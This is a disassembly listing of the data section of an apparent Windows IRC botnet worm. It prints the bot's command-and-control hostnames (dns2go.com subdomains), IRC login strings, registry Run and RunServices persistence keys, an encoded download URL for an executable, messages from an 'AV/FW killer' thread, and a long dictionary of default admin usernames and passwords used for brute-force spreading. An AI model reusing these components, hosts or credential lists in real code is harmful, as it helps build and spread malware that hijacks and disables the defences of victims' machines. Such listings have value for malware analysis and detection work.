a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4256C2:loc_4257B7o
		align 10h
a1Inf		db '1#INF',0            ; DATA XREF: sub_4256C2+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_4256C2+C7o
		align 10h
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4256C2+ADo
		align 4
dword_427CE8	dd 0FFFFFFFFh, 4260BAh,	4260BEh, 0FFFFFFFFh, 426129h, 42612Dh
					; DATA XREF: sub_425F03+5o
		dd 427E24h
off_427D04	dd offset loc_4264E2	; DATA XREF: sub_4264BA+8o
					; sub_4264FE+2Co ...
		dd offset sub_4264D5
		dd offset sub_4266F6
		dd offset dword_427E70
off_427D14	dd offset sub_42654C	; DATA XREF: sub_4264FE+3Ao
					; sub_426568o ...
		dd offset sub_4264D5
		dd offset loc_426732
dword_427D20	dd 0			; DATA XREF: sub_4264FE+16o
					; sub_4265D0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426573+11o
		dd offset dword_427EBC
off_427D40	dd offset sub_42665B	; DATA XREF: sub_426677o
					; sub_42669A+37o ...
		dd offset sub_4264D5
		dd offset loc_426714
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42669A+11o
		dd offset dword_427F00
off_427D60	dd offset loc_4267F7	; DATA XREF: sub_4267E2o
					; ___:off_43D754o ...
		dd offset dword_427F30
off_427D68	dd offset loc_426813	; DATA XREF: sub_42682F+8o
					; sub_42686C+8o ...
		dd offset sub_4268CC
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o
		align 8
dword_427D88	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_4268D9+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427DA8	dd 0FFFFFFFFh, 426A8Ah,	426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh
					; DATA XREF: sub_426988+5o
dword_427DC0	dd 0FFFFFFFFh, 426CFFh,	426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h
					; DATA XREF: sub_426C13+5o
		dd 43D754h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427DF0	dd offset off_43D76C	; DATA XREF: ___:00427E08o
					; ___:00427E54o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DF0
		dd offset dword_427DC0+18h
dword_427E10	dd 3 dup(0)		; DATA XREF: ___:00427E34o
		dd 2, 427E08h, 3 dup(0)
		dd offset off_43D76C
		dd offset dword_427E10+4
off_427E38	dd offset off_43D78C	; DATA XREF: ___:00427E50o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E38
		dd offset off_427DF0
		dd offset dword_427DC0+18h
dword_427E5C	dd 3 dup(0)		; DATA XREF: ___:00427E80o
		dd 3, 427E50h
dword_427E70	dd 3 dup(0)		; DATA XREF: ___:00427D10o
		dd offset off_43D78C
		dd offset dword_427E5C+4
off_427E84	dd offset off_43D7AC	; DATA XREF: ___:00427E9Co
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E84
		dd offset off_427DF0
		dd offset dword_427DC0+18h
dword_427EA8	dd 3 dup(0)		; DATA XREF: ___:00427ECCo
		dd 3, 427E9Ch
dword_427EBC	dd 3 dup(0)		; DATA XREF: ___:00427D3Co
		dd offset off_43D7AC
		dd offset dword_427EA8+4
off_427ED0	dd offset off_43D7D0	; DATA XREF: ___:00427EE8o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427ED0
dword_427EEC	dd 3 dup(0)		; DATA XREF: ___:00427F10o
		dd 1, 427EE8h
dword_427F00	dd 3 dup(0)		; DATA XREF: ___:00427D5Co
		dd offset off_43D7D0
		dd offset dword_427EEC+4
		dd offset dword_427DC0+18h
dword_427F18	dd 4 dup(0)		; DATA XREF: ___:00427F40o
		dd 1, 427F14h
dword_427F30	dd 3 dup(0)		; DATA XREF: ___:00427D64o
		dd offset off_43D754
		dd offset dword_427F18+8
		align 8
dword_427F48	dd 19930520h, 2, 427F68h, 5 dup(0) ; DATA XREF:	___:loc_426DF7o
		dd 0FFFFFFFFh, 426DE0h,	0
		dd offset sub_426DD8
dword_427F78	dd 19930520h, 2, 427F98h, 5 dup(0) ; DATA XREF:	___:loc_426E14o
		dd 0FFFFFFFFh, 426E04h,	0
		dd offset loc_426E0C
dword_427FA8	dd 19930520h, 2, 427FC8h, 1, 427FD8h, 3	dup(0) ; DATA XREF: ___:loc_426E20o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427FF0h, 4	dup(0)
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0D7h, 40h, 0
		dd 0FFFFFFFFh, 426E2Ah
dword_428008	dd 19930520h, 1, 428000h, 5 dup(0) ; DATA XREF:	___:loc_426E32o
		dd offset off_43D754
		align 10h
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42686Ch, 0
		dd offset off_43D76C
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426618h, 0
		dd offset off_43D78C
		align 8
		dd 0FFFFFFFFh, 0
dword_428070	dd 1Ch,	426682h, 3, 42805Ch, 428040h, 428024h ;	DATA XREF: ___:00428094o
dword_428088	dd 0			; DATA XREF: sub_426573+2Eo
					; sub_4266F6+4Bo
		dd offset sub_426568
		dd 0
		dd offset dword_428070+8
		dd 0FFFFFFFFh, 426E3Ch
dword_4280A0	dd 19930520h, 1, 428098h, 4 dup(0) ; DATA XREF:	___:loc_426E44o
		dd 0FFFFFFFFh, 426E4Eh
dword_4280C4	dd 19930520h, 1, 4280BCh, 4 dup(0) ; DATA XREF:	___:loc_426E56o
		dd 0FFFFFFFFh, 426E60h
dword_4280E8	dd 19930520h, 1, 4280E0h, 5 dup(0) ; DATA XREF:	___:loc_426E68o
		dd offset off_43D7AC
		align 10h
		dd 0FFFFFFFFh, 0
dword_428118	dd 1Ch,	4266DEh, 3, 428104h, 428040h, 428024h ;	DATA XREF: ___:0042813Co
dword_428130	dd 0			; DATA XREF: sub_42669A+2Eo
					; sub_4266F6+2Do
		dd offset sub_426677
		dd 0
		dd offset dword_428118+8
		dd 0FFFFFFFFh, 426E72h
dword_428148	dd 19930520h, 1, 428140h, 4 dup(0) ; DATA XREF:	___:loc_426E7Ao
dword_428164	dd 2, 428040h, 428024h	; DATA XREF: ___:0042817Co
dword_428170	dd 0			; DATA XREF: sub_4266F6+Fo
		dd offset sub_4264BA
		dd 0
		dd offset dword_428164
		dd 5 dup(2828F0F6h), 5 dup(55845308h), 5 dup(23A8BCEDh)
		dd 7Ah dup(0)
		dd 23A8BCEDh, 0
		dd 2828F0F6h, 15h dup(0)
		dd 55845308h, 2FEh dup(0)
dword_429000	dd 0			; DATA XREF: ___:0041B7A3o
		dd offset loc_401205
		dd offset sub_40D879
		dd offset sub_40D89B
		dd offset dword_40E504+1D0h
dword_429014	dd 0			; DATA XREF: ___:0041B79Eo
dword_429018	dd 0			; DATA XREF: ___:0041B794o
		dd offset sub_41D052
		dd offset sub_42026D
		dd offset sub_423936
		dd offset word_424752
dword_42902C	dd 0			; DATA XREF: ___:loc_41B78Fo
dword_429030	dd 0			; DATA XREF: sub_41B7D3+65o
		dd offset sub_4239DB
dword_429038	dd 0			; DATA XREF: sub_41B7D3:loc_41B833o
dword_42903C	dd 0			; DATA XREF: sub_41B7D3+76o
		dd offset dword_424754+0Fh
dword_429044	dd 3 dup(0)		; DATA XREF: sub_41B7D3:loc_41B844o
dword_429050	dd 80000002h, 429168h, 80000002h, 429198h, 80000001h, 429168h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 1B58h		; DATA XREF: ___:004016C5r
					; ___:0040175Ar
dword_429070	dd 0C8Bh		; DATA XREF: ___:004017A6r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_40461Cr
dword_429078	dd 45h			; DATA XREF: sub_401ACD+2089r
					; sub_40BACE+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403C44r
					; sub_40BACE:loc_40BEBFr
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403DD0r
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_40473Fr
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+65Fr
dword_42908C	dd 1			; DATA XREF: ___:0040135Er
dword_429090	dd 1			; DATA XREF: ___:loc_401562r
					; sub_41835A+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A92r
					; sub_401ACD+B4Cr ...
		align 4
dword_429098	dd 0Ah			; DATA XREF: sub_40ACB6+3Ar
					; sub_40ACB6+60r ...
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
aQweti		db 'qweti',0            ; DATA XREF: ___:0040127Eo
					; sub_401ACD:loc_4044A1o ...
		align 4
aAbosel7Vs	db 'abosel7 vs',0       ; DATA XREF: sub_401ACD:loc_404946o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7DDCo
					; sub_401ACD+7EABo
		align 10h
aScorti1_dns2go	db 'scorti1.dns2go.com',0 ; DATA XREF: ___:004016B1o
					; ___:0040174Bo
		align 4
aFaak		db '#FAAK#',0           ; DATA XREF: ___:004016D1o
					; ___:00401761o ...
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: ___:004016E8o
					; ___:00401773o
		align 4
byte_4290E4	db 73h			; DATA XREF: ___:loc_401789r
					; ___:00401797o
aCorti1_dns2go_	db 'corti1.dns2go.com',0
		align 4
aFaak_0		db '#FAAK#',0           ; DATA XREF: ___:004017ADo
		align 10h
aSaad__0	db 'saad.',0            ; DATA XREF: ___:004017BFo
		align 4
byte_429108	db 73h			; DATA XREF: ___:00401364o
					; ___:00401388w ...
		db 65h,	72h, 74h
		dd 652E7379h, 6578h
dword_429114	dd 6E646977h, 61622E74h, 74h ; DATA XREF: ___:00411C51o
aWindsSersAgts	db 'Winds Sers Agts',0  ; DATA XREF: sub_401000+Eo
		unicode	0, <->,0
aWinsys_dat	db 'winsys.dat',0
		align 10h
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7F27o
		align 4
aF		db '#f',0               ; DATA XREF: sub_401ACD+1D46o
					; sub_401ACD+3040o ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_401ACD+44A3o
		align 10h
aF_1		db '#f',0               ; DATA XREF: sub_401ACD+40C5o
					; sub_401ACD+4217o
		align 4
off_429154	dd offset a@admin_com	; DATA XREF: sub_401ACD:loc_4098FCo
					; "*@admin.com"
off_429158	dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r
					; sub_401ACD+7E4Bo
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 10h
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E7A+28o
					; sub_41A19E+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E7A+D4o
					; sub_41A19E+D4o
		align 10h
		dd 2 dup(1), 70747468h,	772F2F3Ah, 662E7777h, 77656572h
		dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h
		dd 652E6D79h, 6578h, 429930h, 429920h, 429910h,	429904h
		dd 4298FCh, 4298F4h, 4298ECh, 4298E4h, 4298D8h,	4298D0h
		dd 4298C8h, 4298C0h, 4298B4h, 4298ACh, 4298A4h,	429898h
		dd 429894h, 42988Ch, 429888h, 0
		dd offset dword_43D7F8
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass		; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest_0	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer	; "server"
		dd offset aRoot		; "root"
		dd offset aNull_1	; "null"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan		; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		dd 0
dword_4294C4	dd 10h			; DATA XREF: sub_401ACD+AFCr
					; sub_401ACD+B28r ...
aIntranet	db 'intranet',0         ; DATA XREF: ___:004294B0o
		align 4
aLan		db 'lan',0              ; DATA XREF: ___:004294A8o
aMain		db 'main',0             ; DATA XREF: ___:004294A4o
		align 10h
aWinpass	db 'winpass',0          ; DATA XREF: ___:004294A0o
aBlank		db 'blank',0            ; DATA XREF: ___:0042949Co
		align 10h
aOffice		db 'office',0           ; DATA XREF: ___:00429498o
		align 4
aControl	db 'control',0          ; DATA XREF: ___:00429494o
aXp		db 'xp',0               ; DATA XREF: ___:00429490o
		align 4
aNokia		db 'nokia',0            ; DATA XREF: ___:0042948Co
		align 4
aHp		db 'hp',0               ; DATA XREF: ___:00429488o
		align 10h
aSiemens	db 'siemens',0          ; DATA XREF: ___:00429484o
aCompaq		db 'compaq',0           ; DATA XREF: ___:00429480o
		align 10h
aDell		db 'dell',0             ; DATA XREF: ___:0042947Co
		align 4
aCisco		db 'cisco',0            ; DATA XREF: ___:00429478o
		align 10h
aIbm		db 'ibm',0              ; DATA XREF: ___:00429474o
aOrainstall	db 'orainstall',0       ; DATA XREF: ___:0042946Co
		align 10h
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: ___:00429468o
		align 4
aSql		db 'sql',0              ; DATA XREF: ___:00429464o
aSa		db 'sa',0               ; DATA XREF: sub_401ACD+1BFDo
					; ___:00429460o
		align 4
aDb1234		db 'db1234',0           ; DATA XREF: ___:0042945Co
		align 4
aDb1		db 'db1',0              ; DATA XREF: ___:00429454o
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: ___:00429450o
		align 4
aData		db 'data',0             ; DATA XREF: ___:0042944Co
		align 4
aDatabasepass	db 'databasepass',0     ; DATA XREF: ___:00429448o
		align 4
aDbpassword	db 'dbpassword',0       ; DATA XREF: ___:00429444o
		align 10h
aDbpass		db 'dbpass',0           ; DATA XREF: ___:00429440o
		align 4
aAccess		db 'access',0           ; DATA XREF: ___:0042943Co
		align 10h
aDomainpassword	db 'domainpassword',0   ; DATA XREF: ___:00429434o
		align 10h
aDomainpass	db 'domainpass',0       ; DATA XREF: ___:00429430o
		align 4
aDomain		db 'domain',0           ; DATA XREF: ___:0042942Co
		align 4
aHello		db 'hello',0            ; DATA XREF: ___:00429428o
		align 4
aHell		db 'hell',0             ; DATA XREF: ___:00429424o
		align 4
aGod		db 'god',0              ; DATA XREF: ___:00429420o
aSex		db 'sex',0              ; DATA XREF: ___:0042941Co
					; ___:off_4385D8o
aSlut		db 'slut',0             ; DATA XREF: ___:00429418o
		align 4
aBitch		db 'bitch',0            ; DATA XREF: ___:00429414o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: ___:00429410o
		align 4
aExchange	db 'exchange',0         ; DATA XREF: ___:0042940Co
		align 10h
aBackup		db 'backup',0           ; DATA XREF: ___:00429408o
		align 4
aTechnical	db 'technical',0        ; DATA XREF: ___:00429404o
		align 4
aLoginpass	db 'loginpass',0        ; DATA XREF: ___:00429400o
		align 10h
aLogin		db 'login',0            ; DATA XREF: sub_401ACD+AA3o
					; ___:004293FCo
		align 4
aMary		db 'mary',0             ; DATA XREF: ___:004293F8o
		align 10h
aKatie		db 'katie',0            ; DATA XREF: ___:004293F4o
		align 4
aKate		db 'kate',0             ; DATA XREF: ___:004293ECo
		align 10h
aGeorge		db 'george',0           ; DATA XREF: ___:004293E8o
		align 4
aEric		db 'eric',0             ; DATA XREF: ___:004293E4o
		align 10h
aChris		db 'chris',0            ; DATA XREF: ___:004293E0o
		align 4
aIan		db 'ian',0              ; DATA XREF: ___:004293DCo
aNeil		db 'neil',0             ; DATA XREF: ___:004293D8o
		align 4
aLee		db 'lee',0              ; DATA XREF: ___:004293D4o
aBrian		db 'brian',0            ; DATA XREF: ___:004293D0o
		align 10h
aSusan		db 'susan',0            ; DATA XREF: ___:004293C8o
		align 4
aSue		db 'sue',0              ; DATA XREF: ___:004293C4o
aSam		db 'sam',0              ; DATA XREF: ___:004293C0o
aLuke		db 'luke',0             ; DATA XREF: ___:004293BCo
		align 4
aPeter		db 'peter',0            ; DATA XREF: ___:004293B8o
					; ___:004293CCo
		align 10h
aJohn		db 'john',0             ; DATA XREF: ___:004293B4o
		align 4
aMike		db 'mike',0             ; DATA XREF: ___:004293B0o
		align 10h
aBill		db 'bill',0             ; DATA XREF: ___:004293ACo
		align 4
aFred		db 'fred',0             ; DATA XREF: ___:004293A8o
		align 10h
aJoe		db 'joe',0              ; DATA XREF: ___:004293A4o
aJen		db 'jen',0              ; DATA XREF: ___:004293A0o
aBob		db 'bob',0              ; DATA XREF: ___:0042939Co
					; ___:004293F0o
aQwe		db 'qwe',0              ; DATA XREF: ___:00429398o
aZxc		db 'zxc',0              ; DATA XREF: ___:00429394o
aAsd		db 'asd',0              ; DATA XREF: ___:00429390o
aQaz		db 'qaz',0              ; DATA XREF: ___:0042938Co
aWin2000	db 'win2000',0          ; DATA XREF: ___:00429388o
aWinnt		db 'winnt',0            ; DATA XREF: ___:00429384o
		align 4
aWinxp		db 'winxp',0            ; DATA XREF: ___:00429380o
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: ___:0042937Co
		align 4
aWin98		db 'win98',0            ; DATA XREF: ___:00429378o
		align 4
aWindows	db 'windows',0          ; DATA XREF: ___:00429374o
aOeminstall	db 'oeminstall',0       ; DATA XREF: ___:00429370o
		align 4
aOemuser	db 'oemuser',0          ; DATA XREF: ___:0042936Co
aOem		db 'oem',0              ; DATA XREF: ___:00429368o
aUser		db 'user',0             ; DATA XREF: sub_401ACD+46D4o
					; ___:00429364o
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: ___:00429360o
		align 4
aHome		db 'home',0             ; DATA XREF: ___:0042935Co
		align 10h
aAccounting	db 'accounting',0       ; DATA XREF: ___:00429358o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: ___:00429354o
		align 4
aInternet	db 'internet',0         ; DATA XREF: ___:00429350o
					; ___:004294ACo
		align 4
aWww		db 'www',0              ; DATA XREF: ___:0042934Co
aWeb		db 'web',0              ; DATA XREF: ___:00429348o
aOutlook	db 'outlook',0          ; DATA XREF: ___:00429344o
aMail		db 'mail',0             ; DATA XREF: ___:00429340o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: ___:0042933Co
		align 4
aNull_1		db 'null',0             ; DATA XREF: ___:00429338o
		align 4
aServer		db 'server',0           ; DATA XREF: sub_401ACD+3E90o
					; ___:00429330o
		align 4
aSystem		db 'system',0           ; DATA XREF: ___:0042932Co
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: ___:00429324o
		align 4
aLinux		db 'linux',0            ; DATA XREF: ___:00429320o
		align 10h
aUnix		db 'unix',0             ; DATA XREF: ___:0042931Co
		align 4
aDemo		db 'demo',0             ; DATA XREF: ___:00429318o
		align 10h
aNone		db 'none',0             ; DATA XREF: ___:00429314o
		align 4
aTest		db 'test',0             ; DATA XREF: ___:0042930Co
		align 10h
a2004		db '2004',0             ; DATA XREF: ___:00429308o
		align 4
a2003		db '2003',0             ; DATA XREF: sub_41AA43+BAo
					; ___:00429304o
		align 10h
a2002		db '2002',0             ; DATA XREF: ___:00429300o
		align 4
a2001		db '2001',0             ; DATA XREF: ___:004292FCo
		align 10h
a2000		db '2000',0             ; DATA XREF: ___:004292F8o
		align 4
a1234567890	db '1234567890',0       ; DATA XREF: ___:004292F4o
		align 4
a123456789	db '123456789',0        ; DATA XREF: ___:004292F0o
		align 10h
a12345678	db '12345678',0         ; DATA XREF: ___:004292ECo
		align 4
a1234567	db '1234567',0          ; DATA XREF: ___:004292E8o
a123456		db '123456',0           ; DATA XREF: ___:004292E4o
		align 4
a12345		db '12345',0            ; DATA XREF: ___:004292E0o
		align 4
a1234		db '1234',0             ; DATA XREF: ___:004292DCo
		align 4
a123		db '123',0              ; DATA XREF: ___:004292D8o
a12		db '12',0               ; DATA XREF: ___:004292D4o
		align 4
a1:					; DATA XREF: ___:004292D0o
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: ___:004292CCo
aPwd		db 'pwd',0              ; DATA XREF: ___:004292C8o
aPass		db 'pass',0             ; DATA XREF: ___:004292C4o
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: ___:004292C0o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: ___:004292BCo
		align 4
aPassword	db 'password',0         ; DATA XREF: ___:004292B8o
		align 4
aPassword1	db 'password1',0        ; DATA XREF: ___:004292B4o
		align 4
aAdm		db 'adm',0              ; DATA XREF: ___:004292B0o
aDb2		db 'db2',0              ; DATA XREF: ___:00429458o
aOracle		db 'oracle',0           ; DATA XREF: ___:00429470o
		align 4
aDba		db 'dba',0
aDatabase	db 'database',0         ; DATA XREF: ___:00429438o
		align 4
aDefault	db 'default',0          ; DATA XREF: ___:00429328o
aGuest_0	db 'guest',0            ; DATA XREF: ___:00429310o
		align 4
aWwwadmin	db 'wwwadmin',0
		align 10h
aTeacher	db 'teacher',0          ; DATA XREF: ___:004294B8o
aStudent	db 'student',0          ; DATA XREF: ___:004294B4o
aOwner		db 'owner',0
		align 4
aComputer	db 'computer',0
		align 4
aRoot		db 'root',0             ; DATA XREF: ___:00429334o
		align 4
aStaff		db 'staff',0            ; DATA XREF: ___:004294BCo
		align 4
aAdmin		db 'admin',0            ; DATA XREF: ___:004292ACo
		align 4
aAdmins		db 'admins',0           ; DATA XREF: ___:004292A8o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: ___:004292A4o
aAdministrateur	db 'administrateur',0   ; DATA XREF: ___:004292A0o
		align 10h
aAdministrador	db 'administrador',0    ; DATA XREF: ___:0042929Co
		align 10h
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:00429298o
		align 10h
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429164o
		align 10h
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429160o
		align 10h
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042915Co
		align 10h
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429158o
		align 10h
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_429154o
dword_4299CC	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:0040168Co
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 10h
dword_429A00	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00401641o
aServerRunningO	db '- Server running on Port: 113.',0
		align 4
unk_429A2C	db  2Dh	; -		; DATA XREF: ___:00401614o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 4
unk_429A6C	db  2Dh	; -		; DATA XREF: ___:004015C3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 10h
dword_429A90	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: ___:00401585o
		dd 2E646574h, 0
dword_429AAC	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_429AB8	dd 255C7325h, 73h	; DATA XREF: ___:004013AAo
					; sub_415A30+7Eo
dword_429AC0	dd 73257325h, 0		; DATA XREF: ___:0040132Eo
					; sub_40F6B4+EAo ...
unk_429AC8	db  2Dh	; -		; DATA XREF: sub_4017ED+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 10h
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Fo
		align 10h
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F17o
		align 10h
unk_429B30	db  2Dh	; -		; DATA XREF: sub_401ACD+7F0Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
unk_429B50	db  2Dh	; -		; DATA XREF: sub_401ACD+7EEDo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 10h
unk_429B70	db  2Dh	; -		; DATA XREF: sub_401ACD+7E8Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
